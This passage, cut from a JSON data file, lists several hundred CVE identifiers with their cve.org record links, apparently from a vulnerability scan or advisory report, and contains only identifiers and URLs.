"name": "CVE-2026-58010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58010"
},
{
"name": "CVE-2026-62243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62243"
},
{
"name": "CVE-2026-26958",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26958"
},
{
"name": "CVE-2026-96512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96512"
},
{
"name": "CVE-2026-61712",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-61712"
},
{
"name": "CVE-2026-14662",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14662"
},
{
"name": "CVE-2026-114406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114406"
},
{
"name": "CVE-2025-69872",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-69872"
},
{
"name": "CVE-2025-2998",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2998"
},
{
"name": "CVE-2026-3833",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3833"
},
{
"name": "CVE-2026-106449",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106449"
},
{
"name": "CVE-2026-71887",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71887"
},
{
"name": "CVE-2026-26310",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-26310"
},
{
"name": "CVE-2026-16118",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16118"
},
{
"name": "CVE-2026-42769",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42769"
},
{
"name": "CVE-2026-44660",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44660"
},
{
"name": "CVE-2026-93563",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93563"
},
{
"name": "CVE-2025-13151",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13151"
},
{
"name": "CVE-2026-59900",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59900"
},
{
"name": "CVE-2026-96638",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96638"
},
{
"name": "CVE-2026-54679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54679"
},
{
"name": "CVE-2026-70464",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70464"
},
{
"name": "CVE-2026-112892",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112892"
},
{
"name": "CVE-2026-49459",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
},
{
"name": "CVE-2026-6253",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6253"
},
{
"name": "CVE-2025-6141",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6141"
},
{
"name": "CVE-2026-92387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92387"
},
{
"name": "CVE-2026-78227",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78227"
},
{
"name": "CVE-2026-12064",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12064"
},
{
"name": "CVE-2026-25934",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25934"
},
{
"name": "CVE-2026-6470",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6470"
},
{
"name": "CVE-2026-96232",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96232"
},
{
"name": "CVE-2026-112406",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112406"
},
{
"name": "CVE-2026-50229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50229"
},
{
"name": "CVE-2025-6020",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6020"
},
{
"name": "CVE-2026-89425",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-89425"
},
{
"name": "CVE-2026-48962",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48962"
},
{
"name": "CVE-2022-48064",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-48064"
},
{
"name": "CVE-2026-19672",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19672"
},
{
"name": "CVE-2025-68161",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
},
{
"name": "CVE-2026-14669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14669"
},
{
"name": "CVE-2026-114137",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114137"
},
{
"name": "CVE-2026-55092",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55092"
},
{
"name": "CVE-2026-112898",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112898"
},
{
"name": "CVE-2026-12480",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12480"
},
{
"name": "CVE-2026-68495",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68495"
},
{
"name": "CVE-2026-70035",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70035"
},
{
"name": "CVE-2026-7774",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-7774"
},
{
"name": "CVE-2025-22868",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22868"
},
{
"name": "CVE-2026-42010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42010"
},
{
"name": "CVE-2026-62290",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-62290"
},
{
"name": "CVE-2026-5435",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5435"
},
{
"name": "CVE-2026-42506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42506"
},
{
"name": "CVE-2026-77762",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77762"
},
{
"name": "CVE-2026-93566",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93566"
},
{
"name": "CVE-2026-34479",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
},
{
"name": "CVE-2026-40553",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40553"
},
{
"name": "CVE-2026-76641",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-76641"
},
{
"name": "CVE-2025-3360",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3360"
},
{
"name": "CVE-2026-22796",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-22796"
},
{
"name": "CVE-2026-80225",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80225"
},
{
"name": "CVE-2026-74049",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-74049"
},
{
"name": "CVE-2026-77408",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77408"
},
{
"name": "CVE-2026-48042",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48042"
},
{
"name": "CVE-2019-1010204",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-1010204"
},
{
"name": "CVE-2026-4647",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4647"
},
{
"name": "CVE-2026-40226",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40226"
},
{
"name": "CVE-2025-61724",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61724"
},
{
"name": "CVE-2026-44973",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44973"
},
{
"name": "CVE-2026-78383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78383"
},
{
"name": "CVE-2026-114437",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114437"
},
{
"name": "CVE-2026-70463",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70463"
},
{
"name": "CVE-2019-9193",
"url": "https://www.cve.org/CVERecord?id=CVE-2019-9193"
},
{
"name": "CVE-2026-48961",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48961"
},
{
"name": "CVE-2026-112942",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112942"
},
{
"name": "CVE-2026-112399",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112399"
},
{
"name": "CVE-2026-95184",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-95184"
},
{
"name": "CVE-2026-3219",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3219"
},
{
"name": "CVE-2024-7348",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-7348"
},
{
"name": "CVE-2026-42013",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42013"
},
{
"name": "CVE-2026-11824",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-11824"
},
{
"name": "CVE-2026-3832",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3832"
},
{
"name": "CVE-2026-44605",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-44605"
},
{
"name": "CVE-2026-2303",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-2303"
},
{
"name": "CVE-2026-69243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69243"
},
{
"name": "CVE-2025-61732",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61732"
},
{
"name": "CVE-2025-61723",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61723"
},
{
"name": "CVE-2026-5928",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-5928"
},
{
"name": "CVE-2024-10976",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-10976"
},
{
"name": "CVE-2026-0964",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0964"
},
{
"name": "CVE-2026-113351",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-113351"
},
{
"name": "CVE-2026-114501",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114501"
},
{
"name": "CVE-2025-11083",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11083"
},
{
"name": "CVE-2026-116586",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116586"
},
{
"name": "CVE-2023-45803",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-45803"
},
{
"name": "CVE-2026-14678",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14678"
},
{
"name": "CVE-2026-23992",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23992"
},
{
"name": "CVE-2026-93562",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93562"
},
{
"name": "CVE-2026-27199",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-27199"
},
{
"name": "CVE-2026-70457",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70457"
},
{
"name": "CVE-2026-71888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-71888"
},
{
"name": "CVE-2026-39831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39831"
},
{
"name": "CVE-2026-86145",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86145"
},
{
"name": "CVE-2026-109125",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109125"
},
{
"name": "CVE-2026-86350",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86350"
},
{
"name": "CVE-2026-39828",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39828"
},
{
"name": "CVE-2026-54787",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54787"
},
{
"name": "CVE-2026-45447",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45447"
},
{
"name": "CVE-2025-8713",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-8713"
},
{
"name": "CVE-2024-25620",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-25620"
},
{
"name": "CVE-2026-77955",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77955"
},
{
"name": "CVE-2026-8924",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-8924"
},
{
"name": "CVE-2026-70456",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70456"
},
{
"name": "CVE-2021-3826",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-3826"
},
{
"name": "CVE-2026-12243",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12243"
},
{
"name": "CVE-2025-6170",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6170"
},
{
"name": "CVE-2026-92391",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-92391"
},
{
"name": "CVE-2026-78409",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78409"
},
{
"name": "CVE-2026-70460",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70460"
},
{
"name": "CVE-2026-101896",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101896"
},
{
"name": "CVE-2026-15003",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15003"
},
{
"name": "CVE-2026-85747",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-85747"
},
{
"name": "CVE-2025-68146",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68146"
},
{
"name": "CVE-2026-48702",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48702"
},
{
"name": "CVE-2026-25679",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25679"
},
{
"name": "CVE-2026-40612",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40612"
},
{
"name": "CVE-2026-117610",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-117610"
},
{
"name": "CVE-2025-14017",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14017"
},
{
"name": "CVE-2026-33811",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33811"
},
{
"name": "CVE-2026-96642",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96642"
},
{
"name": "CVE-2024-45337",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-45337"
},
{
"name": "CVE-2026-107778",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-107778"
},
{
"name": "CVE-2025-3730",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3730"
},
{
"name": "CVE-2026-39979",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39979"
},
{
"name": "CVE-2026-90802",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90802"
},
{
"name": "CVE-2026-81726",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-81726"
},
{
"name": "CVE-2025-13836",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13836"
},
{
"name": "CVE-2026-1229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-1229"
},
{
"name": "CVE-2026-101296",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-101296"
},
{
"name": "CVE-2026-9079",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9079"
},
{
"name": "CVE-2026-19931",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-19931"
},
{
"name": "CVE-2025-61725",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-61725"
},
{
"name": "CVE-2026-63075",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63075"
},
{
"name": "CVE-2026-56407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56407"
},
{
"name": "CVE-2026-25210",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25210"
},
{
"name": "CVE-2026-28387",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28387"
},
{
"name": "CVE-2026-115557",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-115557"
},
{
"name": "CVE-2022-42967",
"url": "https://www.cve.org/CVERecord?id=CVE-2022-42967"
},
{
"name": "CVE-2024-52533",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-52533"
},
{
"name": "CVE-2026-102474",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102474"
},
{
"name": "CVE-2026-28388",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-28388"
},
{
"name": "CVE-2026-23991",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-23991"
},
{
"name": "CVE-2026-118131",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-118131"
},
{
"name": "CVE-2025-7039",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-7039"
},
{
"name": "CVE-2026-96235",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-96235"
},
{
"name": "CVE-2026-50251",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50251"
},
{
"name": "CVE-2026-40192",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40192"
},
{
"name": "CVE-2026-112404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112404"
},
{
"name": "CVE-2026-50020",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50020"
},
{
"name": "CVE-2026-55708",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55708"
},
{
"name": "CVE-2026-25680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-25680"
},
{
"name": "CVE-2026-87910",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-87910"
},
{
"name": "CVE-2026-46384",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-46384"
},
{
"name": "CVE-2026-91782",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91782"
},
{
"name": "CVE-2020-25695",
"url": "https://www.cve.org/CVERecord?id=CVE-2020-25695"
},
{
"name": "CVE-2026-54512",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
},
{
"name": "CVE-2026-39835",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-39835"
},
{
"name": "CVE-2026-59197",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59197"
},
{
"name": "CVE-2026-112895",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112895"
},
{
"name": "CVE-2025-5918",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5918"
},
{
"name": "CVE-2026-6478",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6478"
},
{
"name": "CVE-2026-114603",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114603"
},
{
"name": "CVE-2026-33815",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-33815"
},
{
"name": "CVE-2026-42578",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
},
{
"name": "CVE-2026-100407",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-100407"
},
{
"name": "CVE-2026-78683",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78683"
},
{
"name": "CVE-2026-32874",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32874"
},
{
"name": "CVE-2025-3263",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3263"
},
{
"name": "CVE-2026-48497",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-48497"
},
{
"name": "CVE-2025-4878",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4878"
},
{
"name": "CVE-2026-65899",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
},
{
"name": "CVE-2025-12818",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-12818"
},
{
"name": "CVE-2025-32990",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32990"
},
{
"name": "CVE-2026-78663",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78663"
},
{
"name": "CVE-2026-97031",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97031"
},
{
"name": "CVE-2026-10532",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-10532"
},
{
"name": "CVE-2026-112901",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112901"
},
{
"name": "CVE-2026-12087",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12087"
},
{
"name": "CVE-2026-4519",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4519"
},
{
"name": "CVE-2026-53612",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53612"
},
{
"name": "CVE-2025-3001",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-3001"
},
{
"name": "CVE-2026-116585",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-116585"
},
{
"name": "CVE-2026-83520",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-83520"
},
{
"name": "CVE-2026-114691",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-114691"
},
{
"name": "CVE-2025-15366",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-15366"
},
{
"name": "CVE-2021-45261",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-45261"
},
{
"name": "CVE-2026-91781",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91781"
},
{
"name": "CVE-2026-53493",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-53493"
},
{
"name": "CVE-2025-13462",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-13462"
},
{
"name": "CVE-2025-4802",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-4802"
},
{
"name": "CVE-2026-40164",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-40164"
},
{
"name": "CVE-2026-0990",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0990"
},
{
"name": "CVE-2026-55956",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55956"
},
{
"name": "CVE-2026-77410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77410"
},
{
"name": "CVE-2026-54060",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-54060"
},
{
"name": "CVE-2026-32289",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32289"
},
{
"name": "CVE-2026-0865",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-0865"
},
{
"name": "CVE-2026-24686",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24686"
},
{
"name": "CVE-2026-18924",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-18924"
},
{
"name": "CVE-2026-68496",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-68496"
},
{
"name": "CVE-2026-97045",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-97045"
},
{
"name": "CVE-2026-111750",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111750"
},
{
"name": "CVE-2026-45446",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45446"
},
{
"name": "CVE-2026-112893",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-112893"
},
{
"name": "CVE-2026-102010",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-102010"
},
{
"name": "CVE-2026-12570",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-12570"
},
{
"name": "CVE-2026-82209",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-82209"
},
{
"name": "CVE-2026-69244",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-69244"
},
{
"name": "CVE-2025-66221",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66221"
},
{
"name": "CVE-2026-91777",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-91777"
},
{
"name": "CVE-2026-58011",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58011"
},
{
"name": "CVE-2025-32989",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-32989"
},
{
"name": "CVE-2026-41506",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-41506"
},
{
"name": "CVE-2026-15741",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-15741"
},
{
"name": "CVE-2025-6051",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-6051"
},
{
"name": "CVE-2026-63382",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63382"
},
{
"name": "CVE-2026-4111",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4111"
},
{
"name": "CVE-2025-22874",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-22874"
},
{
"name": "CVE-2026-106453",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-106453"
},
{
"name": "CVE-2026-24515",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24515"
},
{
"name": "CVE-2026-14677",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-14677"
},
{
"name": "CVE-2025-11495",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11495"
},
{
"name": "CVE-2026-118669",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-118669"
},
{
"name": "CVE-2025-66034",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66034"
},
{
"name": "CVE-2026-104873",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-104873"
},
{
"name": "CVE-2024-41110",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-41110"
},
{
"name": "CVE-2026-77411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77411"
},
{
"name": "CVE-2026-119375",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119375"
},
{
"name": "CVE-2025-48386",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-48386"
},
{
"name": "CVE-2026-24117",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-24117"
},
{
"name": "CVE-2025-55199",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-55199"
},
{
"name": "CVE-2026-109518",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-109518"
},
{
"name": "CVE-2021-23214",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-23214"
},
{
"name": "CVE-2026-45570",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-45570"
},
{
"name": "CVE-2026-6475",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6475"
},
{
"name": "CVE-2026-78680",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78680"
},
{
"name": "CVE-2025-5025",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-5025"
},
{
"name": "CVE-2026-86410",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86410"
},
{
"name": "CVE-2026-84304",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-84304"
},
{
"name": "CVE-2026-56405",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56405"
},
{
"name": "CVE-2026-63076",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63076"
},
{
"name": "CVE-2024-34459",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-34459"
},
{
"name": "CVE-2025-49795",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-49795"
},
{
"name": "CVE-2025-14104",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-14104"
},
{
"name": "CVE-2026-103111",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-103111"
},
{
"name": "CVE-2026-78667",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78667"
},
{
"name": "CVE-2026-34165",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-34165"
},
{
"name": "CVE-2026-93749",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-93749"
},
{
"name": "CVE-2026-49264",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-49264"
},
{
"name": "CVE-2026-6100",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6100"
},
{
"name": "CVE-2026-59083",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
},
{
"name": "CVE-2021-46848",
"url": "https://www.cve.org/CVERecord?id=CVE-2021-46848"
},
{
"name": "CVE-2026-78659",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-78659"
},
{
"name": "CVE-2026-32280",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-32280"
},
{
"name": "CVE-2026-56411",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56411"
},
{
"name": "CVE-2026-50106",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-50106"
},
{
"name": "CVE-2025-47912",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-47912"
},
{
"name": "CVE-2026-16742",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-16742"
},
{
"name": "CVE-2026-77404",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-77404"
},
{
"name": "CVE-2026-70452",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-70452"
},
{
"name": "CVE-2026-3276",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3276"
},
{
"name": "CVE-2025-11414",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-11414"
},
{
"name": "CVE-2025-66861",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-66861"
},
{
"name": "CVE-2026-4438",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-4438"
},
{
"name": "CVE-2026-119376",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-119376"
},
{
"name": "CVE-2026-58016",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-58016"
},
{
"name": "CVE-2026-90831",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-90831"
},
{
"name": "CVE-2026-63383",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-63383"
},
{
"name": "CVE-2025-68160",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-68160"
},
{
"name": "CVE-2026-59888",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
},
{
"name": "CVE-2026-9545",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-9545"
},
{
"name": "CVE-2026-56866",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56866"
},
{
"name": "CVE-2025-2148",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-2148"
},
{
"name": "CVE-2024-2236",
"url": "https://www.cve.org/CVERecord?id=CVE-2024-2236"
},
{
"name": "CVE-2023-4039",
"url": "https://www.cve.org/CVERecord?id=CVE-2023-4039"
},
{
"name": "CVE-2026-111751",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-111751"
},
{
"name": "CVE-2025-54410",
"url": "https://www.cve.org/CVERecord?id=CVE-2025-54410"
},
{
"name": "CVE-2026-60001",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-60001"
},
{
"name": "CVE-2026-3441",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-3441"
},
{
"name": "CVE-2026-56857",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-56857"
},
{
"name": "CVE-2026-80229",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-80229"
},
{
"name": "CVE-2026-86415",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-86415"
},
{
"name": "CVE-2026-73194",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-73194"
},
{
"name": "CVE-2026-6653",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-6653"
},
{
